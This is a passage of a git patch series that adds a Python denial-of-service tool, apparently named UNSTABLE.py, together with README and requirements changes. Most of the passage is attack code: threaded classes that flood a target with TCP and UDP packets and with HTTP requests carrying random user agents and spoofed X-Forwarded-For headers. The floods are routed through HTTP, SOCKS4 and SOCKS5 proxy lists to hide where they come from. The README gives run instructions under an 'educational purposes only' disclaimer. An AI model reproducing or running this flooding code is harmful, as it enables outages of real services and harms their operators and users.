s.send(str.encode(p)) + except: + s.close() + except: + s.close() + +class tcpfloodsocked(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + data = random._urandom(1024) + p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) + current = x + if current < len(proxies): + proxy = proxies[current].strip().split(':') + else: + proxy = random.choice(proxies).strip().split(":") + go.wait() + while True: + try: + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2),int(port))) + s.send(p) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + s.close() + try: + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2),int(port))) + s.send(p) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + print ("Sock down. Retrying request. @", self.counter) + s.close() + +class tcpflood(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + data = random._urandom(1024) + p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) + go.wait() + while True: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(url2),int(port))) + s.send(p) + print ("Request Sent! @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + s.close() + +class udpfloodproxed(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + data = random._urandom(1024) + p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) + current = x + if current < len(proxies): + proxy = proxies[current].strip().split(':') + else: + proxy = random.choice(proxies).strip().split(":") + go.wait() + while True: + try: + socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2),int(port))) + s.send(p) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + s.close() + +class udpfloodsocked(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + data = random._urandom(1024) + p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) + current = x + if current < len(proxies): + proxy = proxies[current].strip().split(':') + else: + proxy = random.choice(proxies).strip().split(":") + go.wait() + while True: + try: + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2),int(port))) + s.send(p) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + s.close() + try: + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2),int(port))) + s.send(p) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + print ("Sock down. Retrying request. @", self.counter) + s.close() + +class udpflood(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + data = random._urandom(1024) + p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) + go.wait() + while True: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(url2),int(port))) + s.send(p) + print ("Request Sent! @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(p)) + except: + s.close() + except: + s.close() + +class requestproxy(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + useragent = "User-Agent: " + random.choice(useragents) + "\r\n" + accept = random.choice(acceptall) + randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + forward = "X-Forwarded-For: " + randomip + "\r\n" + request = get_host + useragent + accept + forward + connection + "\r\n" + current = x + if current < len(proxies): + proxy = proxies[current].strip().split(':') + else: + proxy = random.choice(proxies).strip().split(":") + go.wait() + while True: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(proxy[0]), int(proxy[1]))) + s.send(str.encode(request)) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(request)) + except: + s.close() + except: + s.close() + +class requestsocks(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + useragent = "User-Agent: " + random.choice(useragents) + "\r\n" + accept = random.choice(acceptall) + request = get_host + useragent + accept + connection + "\r\n" + current = x + if current < len(proxies): + proxy = proxies[current].strip().split(':') + else: + proxy = random.choice(proxies).strip().split(":") + go.wait() + while True: + try: + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2), int(urlport))) + s.send (str.encode(request)) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(request)) + except: + s.close() + except: + s.close() + try: + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2), int(urlport))) + s.send (str.encode(request)) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(request)) + except: + s.close() + except: + print ("Sock down. Retrying request. @", self.counter) + s.close() + +class requestdefault(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + useragent = "User-Agent: " + random.choice(useragents) + "\r\n" + accept = random.choice(acceptall) + request = get_host + useragent + accept + connection + "\r\n" + go.wait() + while True: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(url2), int(urlport))) + s.send (str.encode(request)) + print ("Request sent! @", self.counter) + try: + for y in range(multiple): + s.send(str.encode(request)) + except: + s.close() + except: + s.close() + +starturl() \ No newline at end of file From 56e9dee03374299e2a3236495287b0a10e4557fe Mon Sep 17 00:00:00 2001 From: Python <62798687+A1python@users.noreply.github.com> Date: Thu, 1 Oct 2020 21:08:44 +0530 Subject: [PATCH 3/6] Update README.md --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c9c3140..f432205 100644 --- a/README.md +++ b/README.md @@ -10,10 +10,13 @@ ### Nasıl Kullanılır? - How To Use? >python3 UNSTABLE.py -Video: https://www.youtube.com/watch?v=2hib9WjpJo8 +$ pip install -r requirement.txt +after done requirements, do everything by giving instructions while executing scrip -Bu araç sadece eğitim amaçlı kodlanmış olup, doğabilecek zararlardan tamamen kullanıcı sorumludur. +This tool was coded for educational purposes only and tiny modified by A1python + +/Bu araç sadece eğitim amaçlı kodlanmış olup, doğabilecek zararlardan tamamen kullanıcı sorumludur. Contact: iletisim@UN5T48L3.com From ecfa3373887d6106b3a02347a85c470108c5354a Mon Sep 17 00:00:00 2001 From: Python <62798687+A1python@users.noreply.github.com> Date: Thu, 1 Oct 2020 21:09:29 +0530 Subject: [PATCH 4/6] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index f432205..62b8991 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,8 @@ $ pip install -r requirement.txt +$ python3 UNSTABLE.py + after done requirements, do everything by giving instructions while executing scrip This tool was coded for educational purposes only and tiny modified by A1python From dc5ca9f7017d768a1a144df7dd67077bbc569d4f Mon Sep 17 00:00:00 2001 From: Python <62798687+A1python@users.noreply.github.com> Date: Thu, 1 Oct 2020 21:09:54 +0530 Subject: [PATCH 5/6] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 62b8991..23fcd18 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ $ python3 UNSTABLE.py after done requirements, do everything by giving instructions while executing scrip -This tool was coded for educational purposes only and tiny modified by A1python +This tool was coded for educational purposes only and tiny modification by A1python /Bu araç sadece eğitim amaçlı kodlanmış olup, doğabilecek zararlardan tamamen kullanıcı sorumludur. From e90fb9fdabe8984b38ded89ae3118c79fb5be3bb Mon Sep 17 00:00:00 2001 From: Python <62798687+A1python@users.noreply.github.com> Date: Thu, 1 Oct 2020 21:11:00 +0530 Subject: [PATCH 6/6] Add files via upload --- requirement.txt | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 requirement.txt diff --git a/requirement.txt b/requirement.txt new file mode 100644 index 0000000..37082e2 --- /dev/null +++ b/requirement.txt @@ -0,0 +1,4 @@ +pysocks +bs4 +scapy +beautifulsoup4 \ No newline at end of file